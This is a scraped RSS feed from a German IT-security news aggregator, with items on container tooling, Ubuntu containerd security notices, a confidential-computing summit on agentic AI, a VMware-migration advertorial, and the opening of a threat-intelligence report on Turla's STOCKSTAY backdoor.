<guid isPermaLink="true">https://tsecurity.de/de/3633085/it-security-nachrichten/charting-your-way-in-helm-template-injection/</guid>
<pubDate>Mon, 29 Jun 2026 15:53:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[During the audit of a Kubernetes cluster, we encountered an injection in a Helm template applied through ArgoCD. To our surprise, very few resources exist regarding YAML injection in vulnerable Helm templates. In this blog post, we will explore this kind of vulnerability and how to prevent its exploitation.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft denies WSL 3 exists, reveals Windows 11's WSL Containers ship next week]]></title>
<description><![CDATA[submitted by    /u/Quantum-Coconut   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3631321/linux-tipps/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631321/linux-tipps/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/</guid>
<pubDate>Sun, 28 Jun 2026 19:09:32 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Quantum-Coconut"> /u/Quantum-Coconut </a> <br> <span><a href="https://www.windowslatest.com/2026/06/28/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uhyoja/microsoft_denies_wsl_3_exists_reveals_windows_11s/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft denies WSL 3 exists, reveals Windows 11’s WSL Containers ship next week]]></title>
<description><![CDATA[Several outlets reported a WSL 3 after Build 2026, but Microsoft's WSL product manager says no such version exists. The feature they spotted was WSL Containers, and here is what it does and when it lands.
The post Microsoft denies WSL 3 exists, reveals Windows 11’s WSL Containers ship next week a...]]></description>
<link>https://tsecurity.de/de/3630325/windows-tipps/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630325/windows-tipps/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/</guid>
<pubDate>Sun, 28 Jun 2026 01:11:36 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Several outlets reported a WSL 3 after Build 2026, but Microsoft's WSL product manager says no such version exists. The feature they spotted was WSL Containers, and here is what it does and when it lands.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/06/28/microsoft-denies-wsl-3-exists-reveals-windows-11s-wsl-containers-ship-next-week/">Microsoft denies WSL 3 exists, reveals Windows 11’s WSL Containers ship next week</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-2385 | Kubernetes aws-iam-authenticator up to 0.5.8 access control (Issue 472 / Nessus ID 323251)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Kubernetes aws-iam-authenticator up to 0.5.8. This affects an unknown part. Such manipulation leads to improper access controls.

This vulnerability is traded as CVE-2022-2385. The attack may be launched remotely. There is no exploit...]]></description>
<link>https://tsecurity.de/de/3630001/sicherheitsluecken/cve-2022-2385-kubernetes-aws-iam-authenticator-up-to-058-access-control-issue-472-nessus-id-323251/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630001/sicherheitsluecken/cve-2022-2385-kubernetes-aws-iam-authenticator-up-to-058-access-control-issue-472-nessus-id-323251/</guid>
<pubDate>Sat, 27 Jun 2026 20:14:23 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/kubernetes:aws-iam-authenticator">Kubernetes aws-iam-authenticator up to 0.5.8</a>. This affects an unknown part. Such manipulation leads to improper access controls.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2022-2385">CVE-2022-2385</a>. The attack may be launched remotely. There is no exploit available.

Applying a patch is advised to resolve this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[Veterans of Linux: what's one thing that "just works" today that would've sounded impossible 15–20 years ago?]]></title>
<description><![CDATA[I was thinking about how much time people used to spend fighting thier hardware instead of actually using their computers. Graphics drivers, Wi-Fi, suspend/resume, audio... it felt like there was always something that could randomly stop working after an update. Fast forward to now, and i'm seein...]]></description>
<link>https://tsecurity.de/de/3629717/linux-tipps/veterans-of-linux-whats-one-thing-that-just-works-today-that-wouldve-sounded-impossible-15-20-years-ago/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629717/linux-tipps/veterans-of-linux-whats-one-thing-that-just-works-today-that-wouldve-sounded-impossible-15-20-years-ago/</guid>
<pubDate>Sat, 27 Jun 2026 16:08:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I was thinking about how much time people used to spend fighting thier hardware instead of actually using their computers.</p> <p>Graphics drivers, Wi-Fi, suspend/resume, audio... it felt like there was always something that could randomly stop working after an update.</p> <p>Fast forward to now, and i'm seeing people run GPU passthrough, local AI models, gaming, video editing, containers, VMs... all on the same machine withoutt thinking twice.</p> <p>It made me wonder:</p> <p>What's the one moment where you looked at your setup and thought, "Huh... Linux has come a long way."</p> <p>Doesnt have to be anything huge. Could be a driver that finally stopped being a headache, a laptop that worked perfectly out of the box, or just realizing you haven't had to troubleshoot somthing in months.</p> <p>I'm curious what everyone else's "we've finally made it" moment was.</p> <p>Cuz really... We've made far despite everything.. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/dev_kay47"> /u/dev_kay47 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ugyf56/veterans_of_linux_whats_one_thing_that_just_works/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ugyf56/veterans_of_linux_whats_one_thing_that_just_works/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three FOSS projects for developers, procrastinators, and media wranglers]]></title>
<description><![CDATA[Prism tracks AI emissions, Super Productivity keeps tasks local, and TAMOSS brings the BBC's media API to Kubernetes]]></description>
<link>https://tsecurity.de/de/3626864/it-nachrichten/three-foss-projects-for-developers-procrastinators-and-media-wranglers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626864/it-nachrichten/three-foss-projects-for-developers-procrastinators-and-media-wranglers/</guid>
<pubDate>Fri, 26 Jun 2026 11:17:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Prism tracks AI emissions, Super Productivity keeps tasks local, and TAMOSS brings the BBC's media API to Kubernetes]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon]]></title>
<description><![CDATA[Apple released container 1.0, an open-source Swift tool running Linux containers as lightweight virtual machines on Apple silicon.
The post Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon appeared first on MarkTechPost.]]></description>
<link>https://tsecurity.de/de/3626816/ai-nachrichten/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626816/ai-nachrichten/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/</guid>
<pubDate>Fri, 26 Jun 2026 10:49:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple released container 1.0, an open-source Swift tool running Linux containers as lightweight virtual machines on Apple silicon.</p>
<p>The post <a href="https://www.marktechpost.com/2026/06/26/meet-container-apples-open-source-swift-tool-for-running-linux-containers-as-lightweight-vms-on-apple-silicon/">Meet container: Apple’s Open-Source Swift Tool for Running Linux Containers as Lightweight VMs on Apple Silicon</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Podman 6.0 released]]></title>
<description><![CDATA[Version 6.0.0 of the Podman
container-management tool has been released. Notable new features
include the ability to set multiple static IP addresses for
containers, improvements in network isolation that make Podman more
compatible with Docker, changes to the way Quadlet
commands function, many ...]]></description>
<link>https://tsecurity.de/de/3625357/linux-tipps/podman-60-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625357/linux-tipps/podman-60-released/</guid>
<pubDate>Thu, 25 Jun 2026 18:56:03 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Version 6.0.0 of the <a href="https://podman.io/">Podman</a>
container-management tool has been released. Notable new features
include the ability to set multiple static IP addresses for
containers, improvements in network isolation that make Podman more
compatible with Docker, changes to the way <a href="https://docs.podman.io/en/latest/markdown/podman-quadlet.1.html">Quadlet</a>
commands function, many new options for many existing <tt>podman</tt>
commands, and <a href="https://blog.podman.io/2026/06/podman-6-configuration-file-changes/">a
rewrite of Podman's configuration file handling</a>. There are many
breaking changes; see the <a href="https://github.com/podman-container-tools/podman/releases/tag/v6.0.0">release
notes</a> for a full list of all new features, changes, and bug fixes.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic AI security steals the spotlight at Confidential Computing Summit]]></title>
<description><![CDATA[For a decade, confidential computing has been chipping away at one of security’s hardest problems: data is well encrypted in transit and at rest, but when a processor works on it, that data sits in memory in the clear, exposed to anyone with privileged host access.



“Confidential computing’s ai...]]></description>
<link>https://tsecurity.de/de/3625337/ai-nachrichten/agentic-ai-security-steals-the-spotlight-at-confidential-computing-summit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625337/ai-nachrichten/agentic-ai-security-steals-the-spotlight-at-confidential-computing-summit/</guid>
<pubDate>Thu, 25 Jun 2026 18:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For a decade, confidential computing has been chipping away at one of security’s hardest problems: data is well encrypted in transit and at rest, but when a processor works on it, that data sits in memory in the clear, exposed to anyone with privileged host access.</p>



<p>“Confidential computing’s aim was to solve this with a trusted execution environment, a subset of the CPU that runs the encrypted workload and handles things like memory encryption,” said <a href="https://www.linkedin.com/in/marina-moore-5a7242105/" data-type="link" data-id="https://www.linkedin.com/in/marina-moore-5a7242105/">Marina Moore</a>, lead security researcher at <a href="https://edera.dev/" data-type="link" data-id="https://edera.dev/">Edera</a>.</p>



<p>For years the field felt like post-quantum cryptography PhD research scientist types agreeing the work is essential, while waiting for it to reach mainstream practitioners. At the <a href="https://events.linuxfoundation.org/confidential-computing-summit/" data-type="link" data-id="https://events.linuxfoundation.org/confidential-computing-summit/">Confidential Computing Summit</a> in San Francisco this week, the breakout use case came into focus: agentic AI.</p>



<h2 class="wp-block-heading">Like the web before HTTPS</h2>



<p>“I was in the really early days of HTTP, and then HTTPS came along pretty quickly,” said <a href="https://www.linkedin.com/in/mikebursell/" data-type="link" data-id="https://www.linkedin.com/in/mikebursell/">Mike Bursell</a>, executive director of the <a href="https://confidentialcomputing.io/" data-type="link" data-id="https://confidentialcomputing.io/">Confidential Computing Consortium</a>. He sees agentic AI where the web sat before certificate authorities and public key infrastructure brokered trust online. </p>



<p>“The original agent specifications were not written by security architects,” Bursell said, and “some of it feels in need of refinement.”</p>



<p>The gap confidential computing fills is attestation, which provides proof of what runs. The hardware hashes the memory and firmware of a protected execution environment and signs the result inside the chip, Bursell explained, producing a measurement a verifier checks against the expected software. Without it, an agent session shares the early web problem of open windows for hijacking, except the attackers are now agents themselves.</p>



<p>The old objection that confidential computing demanded exotic hardware is largely gone, Bursell said, now that it ships in AMD, Intel, and NVIDIA parts and turns on with a click <a href="https://www.infoworld.com/article/2256355/what-is-azure-confidential-computing.html" data-type="link" data-id="https://www.infoworld.com/article/2256355/what-is-azure-confidential-computing.html">in Microsoft Azure</a> or Google Cloud. The goal is to make confidential computing so accessible that secure execution becomes the default assumption rather than a specialized deployment choice, and that trust alarms go off when secure execution criteria are not met, much like how a user visiting a non-HTTPS website is greeted with a warning.</p>



<h2 class="wp-block-heading">Identity and attestation move into standards</h2>



<p>Many of the working sessions at the Confidential Computing Summit, hosted by the Linux Foundation, were about turning these mechanisms into standards, following the same path internet security took through bodies such as the IETF and IEEE.</p>



<p><a href="https://www.linkedin.com/in/raghu-yeluri-17550/" data-type="link" data-id="https://www.linkedin.com/in/raghu-yeluri-17550/">Raghu Yeluri</a>, senior principal engineer at Intel, detailed a composite attestation format that Intel, Microsoft, and NVIDIA built so that attestation data can span confidential VMs, their CPUs, and GPUs, without vendor-specific formats. Yeluri said the group hopes to advance that work toward an RFC within the next year.</p>



<p>That effort runs through the Confidential Computing Consortium, the Linux Foundation community where competing companies collaborate on shared infrastructure problems. The consortium is not trying to become a registry of trusted agents, Bursell added, but rather a place where companies can develop frameworks, best practices, and, equally important, antipatterns.</p>



<p>Identity drew some of the strongest interest at this week’s event. <a href="https://www.linkedin.com/in/khpawan/" data-type="link" data-id="https://www.linkedin.com/in/khpawan/">Pawan Khandavilli</a>, senior product manager at Microsoft, pointed to agent payment initiatives from Visa, Mastercard, and Google, the FIDO Alliance’s emerging agent work, SPIFFE workload identities, and RFC 8693 token exchange. The pieces already exist, Khandavilli argued, but “the vocabulary is fragmented.” The challenge now is connecting those identity systems to hardware-backed attestation rather than relying solely on software trust.</p>



<h2 class="wp-block-heading">The attack surface below the attestation</h2>



<p>Hardware-isolated environments are only as secure as the shared substrates beneath them. <a href="https://www.linkedin.com/in/zvonkok/" data-type="link" data-id="https://www.linkedin.com/in/zvonkok/">Zvonko Kaiser</a>, principal systems engineer at NVIDIA, argued that attestation protects the trusted execution environment itself but does not eliminate risks in the shared substrates underneath. The processor cache sits below every isolation boundary, and a 2026 technique called <a href="https://tdxray.cpusec.org/#explainer" data-type="link" data-id="https://tdxray.cpusec.org/#explainer">TDXRay</a> demonstrated how information could be observed across virtual machine boundaries. No layer above the cache, Kaiser argued, can completely hide what the cache itself sees.</p>



<p>The Kubernetes control plane presents another challenge. One etcd store may hold secrets for multiple tenants, while a shared scheduler decides where workloads run. Those shared services create opportunities for compromise that sit outside the guarantees provided by confidential computing hardware. </p>



<p><a href="https://www.linkedin.com/in/antoine-delignat-lavaud-27545276/" data-type="link" data-id="https://www.linkedin.com/in/antoine-delignat-lavaud-27545276/">Antoine Delignat Lavaud</a>, principal researcher at Microsoft, highlighted another limitation. Attestation can prove that a workload runs on authentic confidential computing hardware, but “it doesn’t tell you where it is running,” leaving questions of data residency and sovereignty unresolved.</p>



<p>“Confidential computing is hardware based. If and when vulnerabilities are discovered, it’s much harder to patch those and re-establish the security,” added Edera’s Moore.</p>



<p>Microsoft’s Khandavilli outlined four major gaps that still require industry coordination: binding agent identities directly to hardware, bringing attestation into the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> that increasingly governs tool access, establishing trusted chains when agents delegate work to other agents, and enabling trust relationships across cloud providers. Intel’s Yeluri noted that confidential computing will not solve every security problem, but it provides the foundation upon which higher-level controls can be built.</p>



<h2 class="wp-block-heading">HTTPS for the agentic era</h2>



<p>What was clear from the Confidential Computing Summit is that security for AI agents increasingly resembles the trust infrastructure that underpins today’s internet. Certificates, identity brokers, verification services, and cryptographic handshakes established trust between systems that did not know each other. Agentic AI appears headed toward the same destination. </p>



<p>For example, last month the Linux Foundation announced DNS-AID, extending domain name system concepts into agent discovery and <a href="https://www.infoworld.com/article/4189361/new-linux-foundation-project-aims-to-bring-dns-style-trust-to-ai-agents.html" data-type="link" data-id="https://www.infoworld.com/article/4189361/new-linux-foundation-project-aims-to-bring-dns-style-trust-to-ai-agents.html">introducing an Agent Name Service framework</a> for agent identity.</p>



<p>Who ultimately operates those trust services for agents is “still coming out in the wash,” said Bursell. “Regulators, governments, software vendors, cloud providers, and others may all play roles. If you can’t establish trust, you can’t understand or manage risk.” </p>



<p>Confidential computing is focused on the layer beneath those systems, creating ways to verify the environments where agents execute and the actions they perform. If that work succeeds, the trust fabric that emerges around agents may end up looking remarkably similar to the one that quietly powers the internet today. </p>
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<title><![CDATA[Break legacy lock-in: Strategic options for enterprises facing the vSphere 8 deadline]]></title>
<description><![CDATA[The acquisition of VMware by Broadcom has caused many enterprise IT leaders to reexamine their infrastructure strategies. For organizations running vSphere 8, the October 2027 end-of-support deadline is rapidly becoming a planning priority. What may appear to be a routine upgrade is driving bigge...]]></description>
<link>https://tsecurity.de/de/3625228/it-security-nachrichten/break-legacy-lock-in-strategic-options-for-enterprises-facing-the-vsphere-8-deadline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625228/it-security-nachrichten/break-legacy-lock-in-strategic-options-for-enterprises-facing-the-vsphere-8-deadline/</guid>
<pubDate>Thu, 25 Jun 2026 18:10:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>The acquisition of VMware by Broadcom has caused many enterprise IT leaders to reexamine their infrastructure strategies. For organizations running vSphere 8, the October 2027 end-of-support deadline is rapidly becoming a planning priority. What may appear to be a routine upgrade is driving bigger discussions about cost, flexibility, cloud strategy, and long-term infrastructure direction. </p>



<p><a href="https://arstechnica.com/information-technology/2026/04/nutanix-claims-it-has-poached-30000-vmware-customers/" target="_blank" rel="noreferrer noopener">Many organizations</a> have not only begun evaluating alternatives but also are leaving VMware. </p>



<p>“VMware has been a great, innovative company,” says Harsha Kotikela, senior director of product and solutions marketing at Nutanix. “But since the acquisition, their business model has fundamentally changed, and that is what is forcing IT leaders to adapt.”</p>



<p><strong>Sticker shock, vendor lock-in, and the need for flexibility</strong></p>



<p>One of the biggest catalysts has been licensing costs. Organizations that had grown accustomed to predictable contracts have encountered significant pricing increases, creating what Kotikela describes as “sticker shock.” At the same time, some enterprises are reevaluating their vendor relationships due to concerns about support availability and changes in partner engagement models.</p>



<p>Beyond immediate operational concerns, IT leaders are also focused on future requirements. Hybrid cloud environments have become the norm, with applications and data distributed across data centers, public clouds, and edge locations. AI initiatives are adding another layer of complexity, requiring infrastructure that can support workloads wherever they need to run.</p>



<p>“The future is about flexibility,” Kotikela says. “If enterprises want to implement AI at the edge, in the data center, or in the cloud, they need the capability to manage that environment without creating silos.”</p>



<p>That flexibility is becoming a critical factor in infrastructure decisions. Organizations increasingly want platforms that support multiple deployment models, open APIs, and cloud-native technologies to minimize the risk of vendor lock-in.</p>



<p><strong>How a </strong><a href="https://www.nutanix.com/platform" target="_blank" rel="noreferrer noopener"><strong>future-ready platform</strong></a><strong> addresses IT and business requirements</strong></p>



<p>Nutanix positions its architecture around openness and choice, according to Kotikela. The platform supports virtual machines and containers through a unified operating model and integrates with multiple hardware and cloud environments. </p>



<p>“We provide a lot of flexibility,” he says. “If organizations want to move in or move out of the cloud, it’s easy because you don’t have that lock-in.”</p>



<p>As IT leaders evaluate migration paths, workload prioritization is also critical. Traditional IT migration projects often start with lower-risk test and development environments. However, Kotikela recommends a different approach for enterprises facing VMware licensing renewals.</p>



<p>“Think about your heaviest, most expensive workloads first,” he says. “That’s the only way you can really manage your commercial risk.”</p>



<p>By addressing high-impact workloads early, organizations can establish migration processes while making progress toward reducing licensing exposure. Once those initial migrations are successful, additional workloads will become easier to transition. </p>



<p>Planning should also include an assessment of application dependencies, licensing obligations, operational processes, and workforce readiness. While new platforms require some retraining, Kotikela says many VMware administrators adapt quickly. </p>



<p>“The look and feel is easier than people think,” he says. “Most VMware experts will feel right at home.”</p>



<p>Infrastructure choices made today will influence how organizations support AI, cloud-native applications, and business innovation over the next five to 10 years.</p>



<p>“As businesses think about where they’re going, they need an environment that provides velocity and flexibility,” Kotikela says. “A unified platform tackles complexity and helps you move fast.”</p>



<p>With the VMware deadline approaching, organizations have an opportunity to move beyond reactive planning and evaluate infrastructure strategies that align with their long-term business goals.</p>



<p>Learn more about your options at <a href="https://www.nutanix.com/vmware-alternative" target="_blank" rel="noreferrer noopener">Nutanix’s VMware alternative resource center</a>.</p>



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<title><![CDATA[USN-8473-1: containerd-stable vulnerabilities]]></title>
<description><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. (CVE-2026-33814)

Jakub Ciolek and Kyle Elliott discovered that containerd incorrectly
han...]]></description>
<link>https://tsecurity.de/de/3625140/unix-server/usn-8473-1-containerd-stable-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625140/unix-server/usn-8473-1-containerd-stable-vulnerabilities/</guid>
<pubDate>Thu, 25 Jun 2026 18:01:39 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. (CVE-2026-33814)

Jakub Ciolek and Kyle Elliott discovered that containerd incorrectly
handled group parsing when creating containers from images. An attacker
could possibly use this issue to cause containerd to consume excessive
memory, resulting in a denial of service. (CVE-2026-47262)

Henry Beberman and Robert Prast discovered that containerd incorrectly
validated image references when importing container checkpoints. An
attacker could possibly use this issue to poison the local image cache and
execute arbitrary code in other pods. (CVE-2026-50195)

Robert Prast discovered that containerd incorrectly propagated labels
from image configurations to containers. An attacker could possibly use
this issue to execute arbitrary code on the host. (CVE-2026-53488)

Yuming Zhang, Song Li, Sangwon Ryu, Henry Beberman, Robert Prast, Kyle
Elliott and Zhenchen Wang discovered that containerd incorrectly validated
symlinked paths when restoring container checkpoints. An attacker could
possibly use this issue to read arbitrary files on the host, resulting in
information disclosure. (CVE-2026-53489)

Robert Prast discovered that containerd incorrectly trusted device
interface annotations when restoring container checkpoints. An attacker
could possibly use this issue to bypass resource allocation restrictions
and inject devices or host mounts into a container. (CVE-2026-53492)]]></content:encoded>
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<item>
<title><![CDATA[USN-8471-1: containerd vulnerabilities]]></title>
<description><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. This issue
only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and
Ubuntu 2...]]></description>
<link>https://tsecurity.de/de/3625139/unix-server/usn-8471-1-containerd-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625139/unix-server/usn-8471-1-containerd-vulnerabilities/</guid>
<pubDate>Thu, 25 Jun 2026 18:01:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. This issue
only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and
Ubuntu 22.04 LTS. (CVE-2026-33814)

Jakub Ciolek and Kyle Elliott discovered that containerd incorrectly
handled group parsing when creating containers from images. An attacker
could possibly use this issue to cause containerd to consume excessive
memory, resulting in a denial of service. (CVE-2026-47262)

Robert Prast discovered that containerd incorrectly propagated labels
from image configurations to containers. An attacker could possibly use
this issue to execute arbitrary code on the host. This issue only affected
Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS
and Ubuntu 26.04 LTS. (CVE-2026-53488)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8472-1: containerd vulnerabilities]]></title>
<description><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. (CVE-2026-33814)

Jakub Ciolek and Kyle Elliott discovered that containerd incorrectly
han...]]></description>
<link>https://tsecurity.de/de/3625138/unix-server/usn-8472-1-containerd-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625138/unix-server/usn-8472-1-containerd-vulnerabilities/</guid>
<pubDate>Thu, 25 Jun 2026 18:01:36 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that containerd incorrectly handled HTTP/2 SETTINGS
frames. A remote attacker could possibly use this issue to cause containerd
to enter an infinite loop, resulting in a denial of service. (CVE-2026-33814)

Jakub Ciolek and Kyle Elliott discovered that containerd incorrectly
handled group parsing when creating containers from images. An attacker
could possibly use this issue to cause containerd to consume excessive
memory, resulting in a denial of service. (CVE-2026-47262)

Henry Beberman and Robert Prast discovered that containerd incorrectly
validated image references when importing container checkpoints. An
attacker could possibly use this issue to poison the local image cache and
execute arbitrary code in other pods. This issue only affected Ubuntu
22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 25.10 and Ubuntu 26.04 LTS.
(CVE-2026-50195)

Robert Prast discovered that containerd incorrectly propagated labels
from image configurations to containers. An attacker could possibly use
this issue to execute arbitrary code on the host. (CVE-2026-53488)

Yuming Zhang, Song Li, Sangwon Ryu, Henry Beberman, Robert Prast, Kyle
Elliott and Zhenchen Wang discovered that containerd incorrectly validated
symlinked paths when restoring container checkpoints. An attacker could
possibly use this issue to read arbitrary files on the host, resulting in
information disclosure. This issue only affected Ubuntu 22.04 LTS, Ubuntu
24.04 LTS, Ubuntu 25.10 and Ubuntu 26.04 LTS. (CVE-2026-53489)

Robert Prast discovered that containerd incorrectly trusted device
interface annotations when restoring container checkpoints. An attacker
could possibly use this issue to bypass resource allocation restrictions
and inject devices or host mounts into a container. This issue only
affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 25.10 and Ubuntu
26.04 LTS. (CVE-2026-53492)]]></content:encoded>
</item>
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<title><![CDATA[STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus]]></title>
<description><![CDATA[Written by: Jordan Jones

Introduction 
Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-01...]]></description>
<link>https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</guid>
<pubDate>Thu, 25 Jun 2026 16:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jordan Jones</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions. </span></p>
<p><span>Turla, and specifically their longstanding Snake implant, has been publicly </span><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a" rel="noopener" target="_blank"><span>attributed</span></a><span> by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to </span><a href="https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/" rel="noopener" target="_blank"><span>at least 2004</span></a><span>. The actor remains active and continues to evolve its delivery methods, as demonstrated by its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/"><span>deployment of specialized scripts</span></a><span> to intercept secure communications from Signal Messenger users, its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/"><span>hijacking of legacy criminal botnets</span></a><span> to target Ukrainian organizations, and its </span><a href="https://www.microsoft.com/en-us/security/blog/2026/05/14/kazuar-anatomy-of-a-nation-state-botnet/" rel="noopener" target="_blank"><span>recent campaigns</span></a><span> targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.</span></p>
<h3><span>STOCKSTAY Overview</span></h3>
